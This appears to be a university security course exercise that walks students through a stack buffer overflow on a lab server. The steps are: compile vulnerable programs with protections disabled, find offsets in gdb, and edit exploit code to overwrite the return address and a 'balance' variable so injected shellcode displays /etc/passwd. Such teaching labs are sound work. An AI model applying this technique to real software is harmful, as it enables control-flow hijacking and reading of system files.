**Exercise 1**

* Task: compose a c-program named “exp2.c” to generate a file named “abc” such that when vul2.c runs on Jaguar, its variable “balance” is changed to 123456789, and /etc/passwd information is shown
* Submit on Canvas/Assignments/exercise-1 by May 1 Sunday midnight: exp2.c and a text document explaining your solution (why it works), running env (os, terminal) and running results (including screenshots)
* Hint:
  + Download exp0.c, exp1.c, vul1.c, vul2.c, shelltest.c, int2hex.c from Canvas/Files/exercise-1 and upload them to your Jaguar account
  + Compile int2hex.c and run it to convert 123456789 to a hex number
  + Change exp1.c to exp2.c properly, compile and run it to write “abc”
  + Compile vul2.c using gcc -m32 -g -fno-stack-protector -z execstack vul2.c -o vul2 and run it in gdb to change the balance and run the shellcode

**Change exp1.c to exp2.c as follows (I use red color to mark the sections that need to revise and mark the comments that explain where to get the numbers in the revised sections)**

**Instructions**

Note that exp1.c and vul1.c work on my computer but they may not work on your computer since the memory layout of vul1 depends on your running environment, including your OS and terminal/cmd-window which you use to access Jaguar server.

To make exp1 and vul1 work on your computer, please compile vul1.c in your terminal/cmd-window after login to jaguar server:

gcc -m32 -g -fno-stack-protector -z execstack vul1.c -o vul1

Then please run (please do not include “//comments…” in your command line):

gdb vul1

list

list

b proc\_input //this is to set a breakpoint at proc\_input:

run // this is to run to the break point: proc\_input

next //this is to run into proc\_input

p &buf //you get an answer-1 something like 0xffffda40; note that your answer can be different

p $ebp //you get an answer-2 something like 0xffffda98; note that your answer can be different

x/1xw $ebp //you get an answer-3 something like 0xffffdb58; note that your answer can be different

q //quit from gdb

Next, you need to compute the difference/offset between your answer-1 (&buf) and answer-2 ($ebp). In the above example, it is 0xffffda98 – 0xffffda40 = 0x58 = 5\*16+8 =88 in decimal format.

In exp1.c, you need to change:

\*((unsigned\*)(&buf[88])) = answer-3; // this is to overflow saved ebp with saved ebp, where 88 = $ebp - &buf

\*((unsigned\*)(&buf[92])) = answer-1; // this is to overflow ret with &buf, where 92 = $ebp -&buf +4, which is the offset between ret address and &buf

After you put your answer-3 and answer-1 into exp1.c, save it and compile it:

gcc -m32 exp1.c -o exp1

./exp1 //this is to run exp1 to generate “abc” file with shellcode injected, and ret address changed

gdb vul1 //this is to run vul1 in gdb environment

run //you will see shellcode being executed; that is, /etc/passwd content is displayed at jaguar

Assuming that you can make exp1 and vul1 work on your computer, you may do the following for exercise-1 after login to jaguar:

gcc -m32 -g -fno-stack-protector -z execstack vul2.c -o vul2

Then please run:

gdb vul2

list

list

b proc\_input //this is to set a breakpoint at proc\_input:

run // this is to run to the break point: proc\_input

next //this is to run into proc\_input

p &buf //you get an answer-1 something like 0xffffd96c; note that your answer can be different

p $ebp //you get an answer-2 something like 0xffffda18; note that your answer can be different

x/1xw $ebp //you get an answer-3 something like 0xffffdb58; note that your answer can be different

p &balance // you get an answer-4 something like 0xffffda0c; note that your answer can be different

q //quit from gdb

Next, you need to compute the offset-1 between your answer-1 (&buf) and answer-2 ($ebp). In the above example, it is 0xffffda18 – 0xffffd96c = 0x1(-5)(-4) = 1\*16\*16-5\*16-4 =172 in decimal format.

Also compute the offset-2 between your answer-1 (&buf) and answer-4 (&balance). In the above example, it is 0xffffda0c – 0xffffd96c = 0x1(-6)(0) = 1\*16\*16-6\*16-0 =160 in decimal format.

Next, please copy-and-paste exp1.c to exp2.c.

Then, compile int2hex.c and run:

./int2hex 123456789 //this is to convert integer 123456789 to hex format. You will get answer-5 = 0x075bcd15 (note 0 is added in front of 7 to make it full-word)

In exp2.c, you need to change/add:

unsigned char buf[256]; //change buf[100] to buf[256] here

memset(buf ,'a', 256); // change 100 to 256 here

\*((unsigned\*)(&buf[172])) = answer-3; // overflow saved ebp with saved ebp value; here 172 = $epb - &buf

\*((unsigned\*)(&buf[176])) = answer-1; // overflow ret with &buf value, where the shellcode is; here 176 = ret - &buf

\*((unsigned\*)(&buf[160])) = answer-5; // overflow the balance value with 0x075bcd15 which is 123456789 in hex format, where 160 = &balance - &buf

fwrite(buf, 1, 256, fp); // change 100 to 256 here

After you change exp2.c, save it and compile it:

gcc -m32 exp2.c -o exp2

./exp2 //this is to run exp2 to generate “abc” file with shellcode injected, and with balance and ret address changed

gdb vul2 //this is to run vul1 in gdb environment

run //you will see shellcode being executed and balance changed to 123456789